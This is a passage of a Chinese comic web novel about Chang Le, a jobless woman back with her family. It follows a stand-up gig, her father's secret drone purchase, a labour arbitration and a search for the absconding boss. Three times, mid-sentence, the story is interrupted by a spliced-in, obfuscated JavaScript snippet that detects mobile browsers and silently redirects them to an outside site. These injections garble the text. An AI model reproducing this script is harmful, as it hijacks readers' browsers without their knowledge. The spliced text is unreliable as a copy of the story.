“大家好,我是大红枣,是一个火锅店老板。”他停顿片刻,忽然低下头,叹了口气,“我女朋友最近要跟我闹分手,她说,她跟我在一起后,就得了很多病。” 台下观众面露疑惑,气氛一时沉重起来。 常乐和易诚面面相觑。 大红枣用低沉的语气说:“她把我们的合照发到小某书上,底下第一条评论是,姐妹,你是不是有恋猪癖?” 台下哄然大笑。 常乐跟易诚交换了一个无语的眼神。 大哥,一个字不改啊?一点创新都没有呗? 易诚凑到她耳边,悄声说:“你的段子效果不错。” 常乐鼻孔重重哼气。 大红枣继续说:“她又发了一张我们亲嘴的照片,底下评论是,你应该是有异食癖,什么东西都吃得下。” 台下又是一阵笑声。 常乐脸色稍稍好转。 还算他肯动脑子,懂得举一反三。 大红枣整场表现很不错,没有忘词卡壳,扔的包袱也都响了,下台时,他收获的掌声明显比前面几人要热烈。 散场时,大红枣特意下台来找常乐,跟她道谢。 “上次你举的例子特别好,我就照搬了。”他笑得红光满面,“你不会介意吧?” 常乐呵呵一笑:“没事,喜欢你就拿去用呗。” 大红枣掏出手机,“老同学,咱俩还没加微信吧?” 常乐刚掏出手机,又听见他说:“你再帮我想几个段子呗。以后有我的演出,你都可以免费看。” 常乐笑容一僵,又把手机塞了回去。 脸皮真够厚的。 她板起脸道:“段子也是知识产权,是要收费的。” 大红枣一愣,迅速堆起笑脸,说:“老同学,别那么市侩嘛。咱们可以互相帮助啊,你帮我想段子,我介绍你入行……你想讲脱口秀吗?” 常乐摇摇头,不想跟他过多纠缠,随便扯了个理由,就带着易诚逃离了酒吧。 步行街上,人头攒动,熙熙攘攘,商店的大喇叭放着吵闹的音乐,大街小巷都洋溢着过年的喜庆气氛。 周围过于喧闹,易诚不得不抬高音量,对常乐说:“他的提议,你可以考虑一下啊。” 常乐惊诧道:“要我给他做枪手?凭什么?” 易诚:“我的意思是,你也可以上台试试。你私下里不是很喜欢吐槽吗?而且你的段子,效果很不错啊。” “得了吧。”常乐摆摆手,“那个段子是网上的梗,不是我原创的。还有他讲的第二个段子,我也在网上看到过。这种网梗,在线下讲讲还行,真要上到更大的舞台,或者被人发到网上,肯定会被骂惨的。” 易诚若有所思地点点头。 -- 第二天,常建民又回了趟老家,天黑后才回来。他看上去心事重重的,眉头紧锁,说话时也心不在焉。 这天,吃过中饭,常乐正在收拾碗筷,常建民在旁边假意帮忙,几次偷瞄着她,欲言又止。 “爸,”常乐发现他不太对劲,主动询问,“有事吗?” “乐儿啊,问你一件事。”常建民偷瞥一眼门口,似乎担心林文娟突然出现。 他压低声音说:“你玩过无人机没有?” 常乐松了一口气。原来是要问这个。 不过,看他那作贼心虚的表情,遮遮掩掩的动作,他确定问的是无人机,不是老虎机? “没玩过,怎么了?” “我想买一台,不知道怎么选。你们年轻人比较懂这个,帮我挑挑呗。” 常乐颇感意外。 根据她对常建民的了解,他一不爱摄影,二不玩户外,更不可能去参加俄乌战争,怎么突然就对无人机感兴趣了? “为什么啊?” 常建民放下碗筷,悄声说:“我昨天不是回老家了嘛,碰巧看到方大爷的侄子在追马蜂,他身手特别厉害,刷刷几下就蹿到树上去了。” 常乐露出狐疑神色。 碰巧?你就是特地回老家观摩的吧? “然后呢?” “他追进山里了,但是他不让我跟,因为我没穿防护服嘛。我就在原地等着,没过多久,他就回来了,袋子里装了个这么大的——”常建民张开双臂,表情夸张,“马蜂窝,他还提着一壶白酒,里面密密麻麻的全是马蜂。” 常乐嫌弃地“噫”了一声,继续问:“然后呢?” 常建民略带羞涩地说:“我就问他,可不可以拜他为师,我也想学学怎么捉马蜂。” 常乐震惊地瞪大眼,急声道:“爸,你疯啦?这种事多危险啊!你这老胳膊老腿的,能爬得了树?你这六百度的近视眼,能捉得住马蜂?” 常建民悻悻道:“我就是感兴趣嘛……他一开始也不同意,我好说歹说,他终于松口,说要回去考虑一下。” 他停顿片刻,继续说:“昨天晚上,方煦给我发微信,说如果我能买一台无人机,他哥就同意收我为徒。” 常乐大为震撼。 她一边“啧啧”一边摇头。 第一次见面就开口要礼物,这不妥妥的捞男吗? “爸,你不会真要买吧?”常乐提醒他,“无人机很贵的,好一点的要上万。” 常建民咧嘴一笑:“没事儿,我有私房钱——” 话音随着林文娟的出现戛然而止。 “咳咳——”常建民话锋急转,假装训斥常乐,“就这么几个碗,收了半小时,磨磨蹭蹭的……” 常乐朝天翻了个白眼。 林文娟没有察觉到父女俩的异样。她一边整理丝巾,一边催促道:“乐宝,快点,电影要开始了。” 常建民问:“去哪儿看啊? “万达广场。”林文娟瞥他一眼,“之前问过你,你说不看动画片,我就没买你的票。” 常建民思忖片刻,主动请缨:“我送你们去吧。” “你也要看?”林文娟掏出手机,“要不我再买张票?” 常建民笑呵呵道:“没事儿,你们看你们的,我就随便逛逛。” 十五分钟后,一家三口到达万达广场。常乐挽着林文娟上了扶梯,一转头,就看见常建民溜达进了一楼的大疆体验店。 难怪他这么殷勤呢。 影院在五楼,等候区门庭若市,人头攒动,按摩椅全被占满了。 常乐好不容易取到票,一看时间,只剩下五分钟了。 检票口排起了长队。 排在常乐前面的是一对年轻男女,男人穿着驼色呢子外套配牛仔裤,脚下是一双棕色登山靴,显得肩宽腿长,比例优越。 女人一头栗色卷发,穿着浅色大衣,身上散发出淡淡的香水味。 林文娟的手越过常乐,戳了戳男人的肩。 男人回过头,先看见常乐,眼神略显困惑,随后又看到林文娟,这才舒展眉眼,弯唇浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629140|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 “林医生,你也来看电影啊?” 林文娟笑着说:“对啊,钟大师,好巧啊。” 常乐恍然大悟。又是他。 之前两次见面都隔得老远,她并没有看清钟大师的长相,只觉得他温文尔雅,气质脱俗。 现在距离拉近,她才发现他的五官长得很周正,组合在一起格外和谐,笑起来更是让人如沐春风。 林文娟挽着常乐的胳膊,视线落在他的女伴身上。 她问:“这是你女朋友吧?” 钟大师淡淡一笑:“目前还不是,我还处于被考察阶段。” “哦……”林文娟秒懂,“是在相亲吗?” 钟大师面色微赧,点了点头。 “这位是?”他低头看向常乐,试图岔开话题。 “我姑娘,叫常乐,知足常乐那个常乐。”林文娟用肩膀搡了搡常乐,“她对二胡也很感兴趣,有机会你指导一下她。” 常乐斜乜着林文娟。 妈你在胡说八道什么? 我对二胡唯一的兴趣,就是想知道在庙门口拉一天能赚多少钱。 “哦,行啊。”钟大师微笑地注视着常乐,“你要是想学,我给你介绍个老师。” 常乐摆摆手,刚要拒绝,就听见检票口的小妹喊道:“麻烦出示一下票。” 常乐长舒了一口气。 她看见钟大师的肩膀塌了下来,仿佛跟她一样,如释重负。 之后便是找影厅、找座位、抓紧时间上厕所。 电影进行到下半场,常乐猫着腰钻了出去,匆匆忙忙地奔向厕所。 洗手间外有一排按摩椅,几个人正陷在里面玩手机。常乐从洗手间出来,正甩着手上的水,忽然注意到按摩椅下,有一双腿格外修长,脚上那双登山靴更是抢眼。 “钟大师?”常乐走近一看,发现居然真的是他。 钟大师也抬起眼,认出了她。 “哦,常乐啊。”他笑了笑,直起上半身,“别叫我钟大师了,听起来像个江湖骗子。我叫钟煜,南唐后主李煜的那个煜。” 常乐“哦”了一声,心想,文化人做自我介绍还挺讲究的,连南唐后主都搬出来了。 她好奇地问:“你怎么不看电影啊?网上说后面有个大反转,很精彩的。” 一张票六十多,要不是实在憋不住了,常乐才舍不得浪费时间上厕所呢。 钟煜脸上浮起一抹苦笑。 “说实话,这是我第四次看这部电影了。别说反转,台词我都会背了。” 常乐怔怔地说:“你还真是热爱电影啊……” 四张票,总共两百四十,进场了又不认真看,在这儿玩手机。他图什么呀? 钟煜叹了口气,愁眉苦脸道:“我从大年初二开始相亲,每天一场,今天已经是第四场了。流程都一样,吃饭、看电影、逛街。问题是,每个女孩都要看这部电影,我能有什么办法?总不能跟她们说,我跟前几个相亲对象都看过了吧?” 常乐实在没忍住,哈哈大笑起来。 原来不是四张票,是八张,总共四百八啊。 要饭这么赚吗? 不过,话又说回来,你脱单之前,是不是应该先脱贫啊? 看到钟煜一脸无奈,常乐努力憋住笑,一本正经道:“听说这部电影票房都快三十亿了,你做出了很大的贡献啊。你再多相几次亲,票房都能突破百亿大关了。” 钟煜揉了揉眉心,又躺进了按摩椅里。 他问:“你是第一次看吗?” 常乐:“对啊。” 钟煜冲她摆摆手,“那你快回去吧,陈塘关就要被屠城了,幕后黑手是那个无量仙翁,千万别冤枉了申公豹。” 常乐倏地瞪大眼。 我踏马…… 她深吸一口气,一个箭步冲进影厅,正好看到哪吒在陈塘关的废墟中发疯般地寻找父母。 林文娟在悄悄抹眼泪,见到常乐,赶紧收起纸巾,装作若无其事地问:“怎么去了这么久?” “我碰到你那个钟老师了。”常乐小声说,“你知道他为什么相亲那么多次都不成功吗?” 林文娟一脸疑惑地看着她。 “因为他真的——”常乐咬牙切齿道,“太、贱、了。” 25. 25 过年假期匆匆过去,初八这天,是社畜们的集体回栏日。 常家一家老小,退休的退休,失业的失业,坐月子的坐月子,都对收假这件小事不甚在意。 唯有常建民,从早上起床就愁眉苦脸,在车上双目无神地望着窗外,念经似地说了十几遍“我怎么还不退休啊”,然后又是一阵长吁短叹。 “爸,你的工作已经够轻松了。”常乐开着车,一脸无语,“朝八晚六,还有双休,有什么可抱怨的?” 常建民又是一阵叹气:“你不懂,我一毕业就进了这个单位,在同一个岗位干了三十年,期间也就换了几次办公室,来了几个新同事,其他的什么都没变。你懂这种三十年如一日的感觉吗?” 常乐无言以对。 就目前的形势来看,她是没机会吃这个苦,或者说,享这种福了。 下车时,常建民才想起最重要的事:“对了,今天我有个快递送上门,我留的是你的电话,你帮忙收一下。” 常乐觉得莫名其妙:“为啥让我收?我妈一直在家啊。” 常建民视线躲闪,“你反正在家……就帮我个小忙呗。” “哦。”常乐秒懂,“是不能让我妈知道的东西?那你直接寄到快递站,下班了再来取呗。” 常建民支支吾吾:“是那种……比较贵重的东西,我怕……放在快递站,你懂的……” 常乐狐疑地蹙起眉,思索几秒后—— “无人机?” 常建民脸上浮起一抹心虚的微笑。 常乐惊诧得声音都高了八度:“你还真买了?” 常建民解释道:“我是觉得,现在的科技日新月异,我应该紧跟时尚潮流,多尝试年轻人喜欢的东西,才能不被时代抛弃。” 什么叫欲盖弥彰。 常乐无语地翻白眼。 “有几个年轻人舍得花一万多买个大玩具?” “没那么贵。”常建民急忙解释,“在网上买要便宜点,不到一万。” 常建民下了车,又折返回来,趴在窗边交代道:“快递就放在你房间,等周末再给我。千万、别让、你妈看到!” 常乐“啧”了一声,不耐烦地摆摆手。 “我收了就是我的了,等我玩腻了再给你吧。” 送完常建民后,常乐回到家,打算先补个觉。 眼睛刚闭上,手机就响了。 拿起一看,是珍姐。 “喂。”常乐接通电话,心头浮起一丝疑惑,失业后,珍姐很少在白天联系她。 难道是前公司的事有进展了? 果然,珍姐第一句话就是:“常乐,仲裁的时间定下来了,这周五上午,你来吗?” 常乐腾地一下坐起来,“来啊!” “行,待会儿我把时间地点发你。” 电话挂断后,珍姐的信息随之而来,常乐的心也开始躁动起来。 假期结束,一切都步入正轨。有仇报仇,有冤报冤。该是她的,一分也不能少。 她正构思着复仇大业,电话又响了,是个陌生号码。 “喂,是常女士吗?您的包裹到了……” 常乐飞奔出去,在门口花坛边签收了快递。 快递盒上的地址只写到楼栋,没写门牌号,估计是常建民有意为之。 常乐嗤笑一声,心想,她的老父亲要是肯把这点心思花在工作上,也不至于临近退休还只是个副主任。 -- 去江城的前一晚,常乐在餐桌上宣布了这件事。 家人们都如临大敌。 林文娟紧张地问:“要不要我陪你去?” “别。”常乐摆摆手,“又不是小学生吵架,还要找家长,多丢人啊。” 林文娟还是不放心,警告道:“吵架可以,千万别动手!” 常乐被她逗笑了:“我是去合法讨薪,又不是帮派火拼。别想得那么可怕。” “对,现在是法治社会,别老喊打喊杀的。”常建民安慰完林文娟,又问常乐:“以你现在的开车水平,上高速还有点危险,要不我请假送你去?” 常乐一口回绝:“不用,我叫顺风车就行。” 姥爷沉吟片刻,给她出主意:“要不,我在抖音上帮你发条讨薪的视频?我好歹也算个本地小网红,多少还有点影响力。” 常乐笑得前合后仰:“姥爷,你粉丝都没过万,还是省着点用吧。好不容易起的号,可别作没了。” 姥爷立刻不说话了。 姥姥接话道:“要我说,你还是带我去。我都一把年纪了,什么都不怕,要是法官敢徇私枉法,我就往地上一躺,撒泼打滚,哭爹喊娘……” 常乐抚额苦笑。 “首先,那叫仲裁员,不叫法官。其次,”常乐拍拍她的肩,“姥姥,你这种大招,得留到最后使。万一仲裁输了,或者老板气焰嚣张,死活不认账,我再派你出马。” 姥姥郑重其事地点点头。 这个严肃的话题就此结束,进入第二议题——给常乐发工资。 满打满算,常乐成为全职女儿已经一个月了。 几位老板对她的表现还算满意,所以,在基本工资两千、绩效工资两千四的基础上,决定再给她追加一千元的红包。 “叮——” 五千四秒到账。 常乐看着银行卡余额,强压住上扬的嘴角,轻咳两声,故作姿态道:“照顾家人是我应尽的义务,谈钱就见外了。” “那我撤回了?”林文娟拿着手机试探道,“24小时内的转账都可以撤回。” “哎哎别呀——”常乐急忙制止她,赔着笑,“一家人,别那么见外嘛。” 大家笑作一团。 “对了,还有件事。”林文娟慢慢敛笑,一脸严肃道,“咱家虽然不是个正规公司,但还是应该给员工交医保社保。我打听过了,你这种情况,可以交灵活就业医保,跟职工医保是一样的。你以前是在江城交的吧?你是想直接续上,还是在咱们市重新交?” 常乐陷入了纠结。 现实的问题摆在她面前,选择在哪儿交,意味着以后她要在哪儿长期定居。 当然,如果她有了更好的工作机会,换一座城市也未尝不可,只是…… 人心就是这样,每一次选择,都是在天平上放一枚砝码。砝码越多,想要推翻重来就越难。 “还是……在家里交吧。” “行。”林文娟说,“医保社保加一起,是一千四。” “哎等等——”常乐急声道,“只交医保行吗?社保我觉得没什么必要。” 林文娟严肃道:“你得为以后考虑,等你老了怎么办?” “……我不想考虑那么远的事。”常乐停顿片刻,分析道,“现在退休年龄不断延后,我能不能活到领退休金的那天还是个未知数呢。” 姥姥一巴掌削在她的后脑勺,呵斥道:“怎么说话呢?年纪轻轻的,别老死啊活啊的,不吉利。” 常乐捂着后脑勺,转头看着姥姥,面目狰狞地嚎叫:“姥,你再这么削几次,我的寿命还得再短几年!” -- 第二天一早,常乐在小区门口搭上顺风车,两个小时后,江城熟悉的景色渐渐映入眼帘。 小车在劳动仲裁中心门口停下,一下车,常乐就看见了珍姐。她敞着羽绒服,里面是一身深色职业装,脚上一双黑色短靴,显得利落又干练。 见到常乐,珍姐咧嘴一笑,张开双臂抱了抱她。 “珍姐,好久不见。” “也就一个月没见。”珍姐认真打量着她,“感觉你变年轻了,像女大学生。” “真的?”常乐惊喜地摸摸自己的脸。 过个年还能颜值回春? 珍姐笑着说:“你之前给我的感觉就像一棵蔫巴巴的生菜,现在不一样了,好像重新泡在水里了,水灵灵的。” 常乐有些听不懂:“泡在水里?” 珍姐认真地说:“你知道生菜在冰箱里怎么保鲜吗?把根部泡在水里,就能保存很久。蔫了的生菜也可以用这个方法起死回生。” 常乐若有所思。 也是,这段时间,她在家里吃好喝好睡好玩好,没有工作压力、年龄焦虑、婚育烦恼,心情好了,自然就显得年轻有活力。 所以啊,家人就像水一样,让她又活过来了。 两人往大厅里走,常乐顺嘴问道:“珍姐,你工作找得怎么样了?” “唉,别提了。”珍姐愁眉苦脸,“你看了我发的那些视频了吧?一个比一个气人。” 珍姐自从开始做自媒体后,轮番尝试了育儿、美食、家长里短几个赛道,只有“大龄失业女性找工作”这个赛道稍有起色,让她收获了一波流量和粉丝。 常乐分析道:“我觉得你这个主题选得不错,能引起很多人的共鸣。你就一边找工作一边拍,能找到工作最好,找不到,起码也有了素材。” 珍姐大笑道:“我也是这么想的。” 说完,她掏出手机,“正好把今天的仲裁过程也拍下来。” 她退回到门口,招招手,唤常乐过来。 “帮我个忙。”她把手机递给常乐,示意道,“我往里面走,你在我侧面跟拍。” 常乐依言拍了一段视频。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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仲裁的过程跟常乐在网上查到的差不多,先核对身份,然后申请人陈述请求、出示证据,仲裁员提问,对证据进行分析…… 轮到被申请人质证时,对面的女人开始表演了—— “真的跟我没关系!我跟老孙只是朋友,他让我当公司法人,我以为是帮他的忙,就同意了,谁知道他会害我啊……” 她用纸巾捂着脸,嘤嘤地哭了起来。 “我什么都不懂,连他的公司在哪里、是干什么的都不知道,你们要讨钱找他去啊,找我干嘛?我是农村的,家里条件差,根本拿不出这么多钱,呜呜呜……” 珍姐勃然大怒,猛拍桌子:“你没钱?你没钱还住这么贵的小区?你没钱还背这么贵的包?老孙让你当法定代表人,就一点好处没给你?装什么呢你?” “法庭上严禁大吵大闹!”仲裁员呵斥道。 常乐不得不拽住珍姐的胳膊,防止她情绪激动冲过去打人。 对面的女人还在抽抽搭搭,替自己辩解:“我拿什么好处了?我一分钱都没拿,纯粹是帮老孙一个忙!你们有本事去找他呀,找我干嘛?” 常乐旁边的同事怒不可遏,站起身指着女人,又是一顿激情对喷。 现场一片混乱,庭审不得不中止。 仲裁员询问双方是否愿意调解,珍姐破口大骂:“我调个屁!” 对面的女人战斗力丝毫不减:“你们几个臭要饭的别想讹我!反正我一分钱都不会出!” 最后,仲裁员板着脸宣布庭审结束,十五个工作日后会再次进行调解,调解不成再出具判决。 对于这个结果,双方都很恼火。 -- 散场时,为了保证双方的安全,仲裁员让对面的女人先行离开。 五分钟后,珍姐拉着常乐,风风火火地走出仲裁庭,大步冲下楼梯。 “快,你去四楼洗手间找,我去三楼。” 常乐懵了:“啊?” 珍姐语速飞快:“那女人妆都哭花了,肯定会找个地方补妆。五楼洗手间离得太近,她肯定不敢去那儿。咱们挨个找找。” 常乐恍然大悟,不得不佩服珍姐的智商。 两人分头行动。常乐冲进四楼女洗手间,里面空无一人,又径直奔向二楼。 她一眼就看到在镜子前补妆的女人。 “李玉婷!”常乐气喘吁吁地喊一声。 李玉婷吓得一哆嗦,慌忙拿起包挡住自己的脸,紧张得语无伦次:“你你你要干什么?我警告你啊,你要是敢动手,我马上报警……” “我没想干嘛。”常乐掏出手机,给珍姐拨了个电话,三言两语说明情况,然后抬眼直视着李玉婷。 “我就想问问,老鳖孙到底藏哪儿了?” 李玉婷哆哆嗦嗦地说:“我我我怎么知道?” 常乐双手掐腰,厉色道:“都这时候了,你还想袒护他?我们找不到他,那就只能找你要钱了。你自己想想吧。” 26. 26 听到这话,李玉婷冷哼一声,将小挎包从头上拿了下来。 “你问我?我还想找他呢。”她猩红的嘴唇一张一合,脏话喷薄而出,“我日***个老比登,把我***坑惨了,我真是瞎了狗眼,才会信了他这个****” 常乐抠抠耳朵,感觉耳膜要裂开了。 等李玉婷骂完,她才不紧不慢地说:“你跟他关系应该不错吧?不然怎么会答应做法定代表人。你会不知道他家在哪儿?” 李玉婷没好气道:“他家我去过,没人,门上贴了封条,估计是被查封了。” 话刚落音,门口突然冲进来一个人影,直奔李玉婷,摁着她的脑袋,抡起胳膊就打。 “珍姐,冷静冷静!”常乐急忙从背后抱住珍姐,“她就是个替死鬼,打她也没用!只有找到老鳖孙才能解决问题。” 珍姐打了几下仍不解气,一只手还揪着李玉婷的头发,怒气冲冲道:“刚才不是很嚣张吗?还骂我们是臭要饭的,我看你才是个***,我草***” 骂得一句比一句脏,常乐感觉耳膜要流血了。 她好声劝道:“珍姐,别冲动,说正事。” 珍姐这才松开手,整了整自己的衣服,对李玉婷说:“你不还钱,就把包抵给我们。公司总共欠我们俩三万,你一个包就不止这个数了。” 李玉婷刚补好的妆又花了,头发也乱七八糟的。 她直起上身,把包往珍姐怀里一甩,气哼哼道:“拿去吧!反正是个假货,老孙送的。他给老婆买了个真包,又买了个同款高仿送给我,还给我看购买记录。我拿去专柜验货,还被柜姐笑话。这种破烂货,你要就拿去吧!” 常乐目瞪口呆。 这老鳖孙,爱妻人设倒是立住了。 李玉婷对着镜子捋了捋头发,继续说:“还有,你说我住那么贵的房子,也是租的,老孙这个狗东西,骗我说房子是他跟他老婆的共同财产,等他离婚,就把房子送给我。结果呢,房东都找上门来了,说再不交房租就让我滚蛋!” 常乐跟珍姐面面相觑。 李玉婷说着说着,声音就哽咽了:“我跟了他一年多,一直没上班,家里人着急,他就说把公司送给我,让我当老板,说出去也好听……我就信了,还屁颠屁颠地发朋友圈秀恩爱,谁知道会这样啊……” 常乐喃喃道:“你还真好骗啊……” 珍姐不耐烦道:“现在说这些有什么用?要么你出钱,要么你把老鳖孙找到。” 李玉婷红着眼眶,委屈巴巴地说:“我上哪儿找啊?我都说了,他家都被查封了。” “狡兔三窟,他就一个窝?我不信。” “其他的……”李玉婷回忆片刻,从包里掏出手机,镶着水钻的指甲在屏幕上敲敲打打。 不一会儿,她将手机递给珍姐,给她看地图上的一个标记。 “这是他老丈人家,在一个别墅区,我进不去。你们找不到他,能找到他老婆也行。反正这两口子是一伙的。” 常乐挠了挠头,“曲线救国?这一招好使吗?” 珍姐掏出手机,对着地图拍了照。 “管他有没有用,先去看看再说。跑得了和尚跑不了庙,我就不信他老婆一辈子不回娘家。” 两人又风风火火地冲出洗手间。 楼梯下到一半,珍姐猛地刹住,用力拍了下脑门,懊恼地说:“忘记拍视频了!” 常乐:“……” 珍姐转头问她:“你刚刚没有把我的英勇身姿拍下来?” 常乐:“???拍下来不就成了你的罪证了吗?” 珍姐摆摆手,不以为意:“我就打了她两下,应该够不上犯罪吧?唉,早知道一进门就该举起手机拍,网友就喜欢看这个。” 她抬眼望向楼梯上方,李玉婷还没从洗手间里出来。 她犹豫着,问常乐:“你说,我现在回去补拍几条,她会配合吗?” 常乐:“……我觉得你有点走火入魔了。” 正说着,一个短发女人从楼梯拐角处上来,与她们擦肩而过。 常乐:?今天是什么好日子?新仇旧恨凑一块儿了。 她喊住短发女人:“小杨!” 小杨回过头,见到是她,愣怔了片刻,眼里露出一丝狐疑。 “你怎么在这儿?”她脸色苍白,冷着脸,语气不善。 “来仲裁中心还能干嘛?讨工资呗。”常乐大大咧咧地说。 她倒不担心被小杨冷嘲热讽,毕竟大家都曾是苦命打工人,谁也没比谁高贵到哪儿去。 对于她的坦诚,小杨有些意外。她眸色微动,转过头,低声说:“我也是。公司跑路了,欠了我两万多的工资没发。我今天是来申请仲裁的。” “来这儿吗?”这也太巧了吧。 “公司总部就在这个区。” “哦。”常乐懂了,“那祝你成功。” 小杨垂下眼帘,盯着自己的脚尖,淡淡地说了句“谢谢”。 常乐挽着珍姐正要下楼,忽然想到什么,回头喊住小杨。 “哎,还有个事想问你。” 小杨已经走到了二楼,闻言停住脚步,垂眸俯视着她。 常乐问:“你放在我家的那台电疗仪还要不要了?” 小杨牵起唇角,笑容有些苦涩。 “那些都是残次品,能用,但是质量不好,公司让我们送给客户体验,等到时间了上门回收,再以产品有问题为由拒收,这样就能……” 常乐接话:“强迫我们买下来?” 小杨点点头,随后叹了口气。 “我也没办法,好不容易找到这份工作,进来才知道是专门骗老人钱的。我良心上过意不去,但是公司给的提成高,我就想着先赚一笔,再找份正经工作……”她自嘲地笑了,“现在钱也没有,工作也丢了,真是报应。” 常乐看着她,欲言又止。 她很想提醒她,你更应该担心的是,万一受害者报警,你作为公司员工,也是要负法律责任的。 可是转念一想,事已至此,提醒也没用了。该来的迟早会来的。 小杨继续说:“公司高层都跑了,没人会找你们麻烦的。那台电疗仪你就继续用吧,没什么坏处,但也别指望有多大好处。” “行,谢谢了。”常乐冲她扬起手,“祝你好运。” 小杨淡淡一笑,冲她挥了挥手。 -- 常乐和珍姐打了辆车,直奔李玉婷给的地址。 两人在别墅区大门口下了车,望着门口俩虎视眈眈的门卫,一时不敢上前。 对面是一片洋房小区,外面有一圈底商。两人找了个便利店,买了两瓶水,坐在窗边观察着对面。 别墅区大多是车进车出,大门两侧装了人脸识别的闸机,不是业主很难混进去。 珍姐琢磨道:“要不咱们在门口拦一辆车,坐车里进去?” 常乐立刻否决:“就算门卫是瞎子,那业主也不是傻子啊,凭啥让我们上车?” “跟他们解释一下嘛,就说我们老板住里面,我们来讨薪。” “相信我,一般人不会搀和这种事的,都怕给自己惹麻烦。” “那你说怎么办?翻墙还是钻狗洞?” 常乐啧了一声。 咱们一不偷鸡二不摸狗,干嘛要在违法的边缘试探? “别急,我有办法。” 常乐打开手机里的贝壳app,搜索这个小区,在在售房源里找了套最便宜的。 底下有几个中介的名片。她找了一个笑容最亲切的女中介,拨打电话。 “喂——你好,我在贝壳上看到星海湾有套别墅在卖,售价480万那套,房源还在吗?哎哎——我就在小区门口,你什么时候能到?哎哎——” 电话挂断,常乐冲珍姐比了个OK的手势。 珍姐笑着夸她:“聪明啊。” 等了几分钟,一个穿黑色套装、脖子上挂着工牌的女中介急匆匆地赶来。常乐认出她的脸,冲她招了招手。 “您好,久等了,我姓叶,您叫我小叶就好。” 常乐矜持地笑了下。 小叶的视线在她和珍姐之间转了一圈,问:“请问是哪位想买房子呢?” 常乐转头看向珍姐,珍姐立刻会意,接话:“是我。” “请问您的预算是多少呢?” 珍姐装模作样道:“毛坯450左右,精装550吧,当然,如果能多砍点价就更好了。” 小叶急忙说:“咱们小区毛坯和精装都有,您要是看中了,价格还可以商量。” 珍姐点点头,“带我去看看吧。” 小叶站着没动,笑盈盈道:“是这样的,我们公司有规定,带看别墅之前需要验资。哦,也不多,两百万就行。” 常乐:“……” 珍姐:“……看二手房还要验资?” 小叶解释道:“这也是为了节省我们双方的时间嘛。” 珍姐思索片刻,说:“可是我的钱都在证券账户里,流动资金不多。” 小叶笑容依旧:“给我看一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662338|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下证券账户的余额也是可以的。” 珍姐沉默了,斜眼瞥向常乐。 常乐回她一个无奈的眼神。 你看我像是有两百万的人吗? 半天没人吭声,小叶看看珍姐,又看看常乐。 气氛有些尴尬。 “是这样的——”常乐咽了咽唾沫,心虚地笑着,“我跟我姐是来抓奸的。我姐夫找了个小三,就住在这个小区。我们已经跟踪他几天了,可惜进不去,所以才想到这个法子。” 小叶的眼睛越瞪越大。 常乐捕捉到,她的眼里,除了惊讶,还有一丝兴奋。 常乐:Yes!这把稳了。 她从包里掏出一百块钱,递给小叶,语气诚恳:“我知道,我浪费了你的时间,所以想给你一点补偿。” 小叶愣了好久,才小心地接过钱。 “其实,也不算浪费时间啦。”她笑了笑,把钱塞进口袋,“我们平时带客户看房,百分之九十都没有结果……行,你们跟我来吧。” 珍姐强忍住兴奋,斜眼看向常乐,偷偷给她竖了个大拇指。 三人走到小区门口,小叶向门卫出示了工牌,门卫点点头,回到值班岗亭,打开了闸机。 常乐跟在小叶后面,奉承道:“你们中介还挺有路子的,什么地方都进得去。” 小叶边走边解释:“也是要提前打好关系的。有的小区可以随便进,但这种别墅区就不行。我们店每个月都得给小区物业付几百块的带看费。” 常乐“哦”了一声,在心里感慨,刚刚那一百块花得挺值。 小叶停在一处树荫下,问她们:“你们知道小三住哪一栋吗?” 珍姐急忙掏出手机,将刚刚拍下的照片给她看。 “东4区12栋……”小叶思索片刻,转头走向一条小路,“跟我来。” 这片小区以联排和双拼为主,家家户户都住得挺紧凑。没走多久,常乐就看到了12栋的门牌,是一套联排的边户。 这套别墅前后都有院子,植物长得还不错,一看就是精心打理过的。前后大门紧闭,窗户也都关得紧紧的,里头没开灯,也听不到人声。 “没人吗?” 珍姐走到院子的铁栅栏外,正要爬上去,被小叶一把拽了下来。 她指了指屋檐,提醒道:“有监控,别离得太近。” 珍姐和常乐赶紧往后退了两步。 她们绕着别墅来回转了几圈,依旧没发现有人在家的迹象。 常乐对于麻烦小叶有些过意不去,便让她先行离开了,并信誓旦旦地保证,不会在这里闹事,被保安抓住了也不会把她供出来。 小叶临走时,表情还挺失落,似乎对于没有一线吃到瓜深感遗憾。 别墅区的空置率很高,常乐很快就在斜对面找到一处毛坯房。两人坐在门口的台阶上,双手托腮,呆呆地盯着对面。 “可能是趁着过年出去旅游了。”常乐分析道,“你看,院子打理得这么好,说明平时有人住。没准儿过几天就回来了。” 珍姐感叹道:“你说老鳖孙的老婆家这么有钱,为什么还要拖欠我们工资呢?” 常乐摇摇头,“搞不懂。” 人心太复杂,她也看不透。 又等了半天,还是没看到有人进出。 早已过了午饭时间,两人的肚子都饿得直叫唤。 珍姐站起身,拍了拍羽绒服上的灰,“要不先出去吧?我请你吃饭。” 出去容易进来难,常乐真心舍不得那一百块钱,可是也想不出更好的办法,只好起身。 